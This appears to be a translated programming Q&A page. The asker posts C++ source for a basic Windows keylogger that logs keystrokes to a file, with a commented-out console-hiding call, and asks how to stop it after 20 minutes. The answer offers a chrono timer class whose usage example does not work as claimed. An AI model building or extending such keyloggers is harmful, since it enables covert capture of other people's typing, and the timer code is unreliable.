首页 > 解决方案 > 如何为带有时钟的程序创建计时器?

问题描述

我正在尝试制作一个基本的键盘记录器,我希望能够在 20 分钟后关闭程序。在网上看,我发现了这个clock_T函数,但我不知道如何将它转换为秒(从秒开始我就可以制作分钟)。

我尝试使用基于“睡眠”功能的好旧计时器。但考虑到我必须能够随时输入并将其保存在日志中,这给我带来了很多问题。我无法理解高水平的编码,因此我在网上看视频或描述时很费劲。我希望看到显示的秒数随着时间的推移而增加,所以我稍后可以在达到所需的秒数时关闭代码,但我却在特定秒内遇到了相同数量的垃圾邮件。例如:1111111111111111111111111111111111(一秒钟后增加)2222222222222222222222222222222(再次增加)333333333333333333333333.等等。

   #include <iostream>
    #include <string>
    #include <Windows.h>
    #include <fstream>
    #include <time.h>
    using namespace std;

    int main() {
    //  FreeConsole();

        clock_t start = 0;
        clock_t end = 0;
        clock_t delta = 0;

        start = clock();

        fstream info;
        string filename = "Data.txt";


            while (true) {
                info.open(filename.c_str(), ios::app);
                for (char i = 31; i < 122; i++) {
                    if (GetAsyncKeyState(i) == -32767) { 
                        info << i;
                        cout << i;
                    }

                }
                info.close();
                end = clock();
                delta = end - start;
                delta = delta; // 1000;
                std::cout << delta/CLOCKS_PER_SEC << endl;
            }
            return 0;
        }

标签: c++c++11time.h

解决方案


我有这个使用chrono库的类模板。这是一个简单的使用示例。

主文件

#include <iostream>

#include "Timer.h"

int main() {

    while( Timer<minutes>(1).isRunning() ) {
        // do something for 1 minute
    }

    while ( Timer<seconds>(30).isRunning() ) {
        // do something for 30 seconds
    }

    return 0;
}

定时器.h

#pragma once

#include <chrono>

using namespace std::chrono;

template<class Resolution = seconds>
class Timer {
public:
    using Clock = std::conditional_t<high_resolution_clock::is_steady,
                                     high_resolution_clock, steady_clock>;

private:
    Clock::time_point startTime_;
    Clock::time_point timeToRunFor_;    
    bool isRunning_ = false;

public:
    explicit Timer(int count) :
        startTime_{ Clock::now() },
        timeToRunFor_{ Clock::now() + Resolution(count) },
        isRunning_{ true }
    {
        run();
    }

    ~Timer() {
        const auto stopTime = Clock::now();
        std::ostringstream stream;
        stream << "Time Elapsed: "
            << duration_cast<Resolution>(stopTime - startTime_).count()  
            << std::endl;
        std::cout << stream.str() << std::endl;
    }

    bool isRunning() {
        return isRunning_;
    }

private:    
    void run() {
        while (steady_clock::now() < timeToRunFor_) {}
        isRunning_ = false;
    }
};

输出

Time Elapsed: 1

Time Elapsed: 30

时间首先等待大约 1 分钟,然后打印 1,然后等待大约 30 秒,然后打印 30。这是一个很好的轻量级并且使用简单。


我目前正在向此类添加更多内容,以支持使用默认构造函数手动启动和停止使用。由于该类当前位于上面,您可以创建该类的实例或对象作为变量,并明确地给它一个时间,它将运行那么长时间,但是您不能在需要时手动启动和停止此计时器。完成此类后,默认构造函数将不会使用内部成员timeToRunFor_run()因为它们旨在与显式构造函数版本一起使用。

完成后,您可以通过 while 循环设置要运行多长时间,然后通过 Explicit 构造函数版本在所需时间到期后终止,或者您可以创建此类的本地实例作为对象,调用 start 函数,执行对于未知时间的一些其他操作,然后调用停止函数并执行经过时间的查询。我需要更多的时间来完成这门课,所以我现在就按原样发布,一旦我完成了对课程的更新,我会在此处将其更新为较新的版本!


推荐阅读